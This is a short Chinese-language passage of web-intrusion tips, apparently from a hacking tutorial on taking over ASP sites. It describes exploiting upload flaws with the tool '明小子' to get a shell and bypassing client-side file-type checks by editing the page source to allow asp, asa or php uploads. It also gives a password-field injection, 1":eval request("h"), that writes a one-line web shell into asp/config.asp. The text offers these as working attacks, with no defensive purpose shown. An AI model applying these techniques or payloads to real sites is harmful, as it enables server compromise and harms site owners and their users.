当页面提示“上传格式不正确[重新上传]”，说明存在上传漏洞，复制地址放到明小子里上传，一般都能成功拿下shell。
当页面提示只能上传jpg|gif|png等格式的时候，右键查看源文件，本地修改为asp|asa|php再上传即可突破拿下shell
.登陆后台，点击修改密码---新密码设置为：1":eval request("h")’设置成功后，访问asp/config.asp文件即可，一句话木马被写入到这个文件里面了.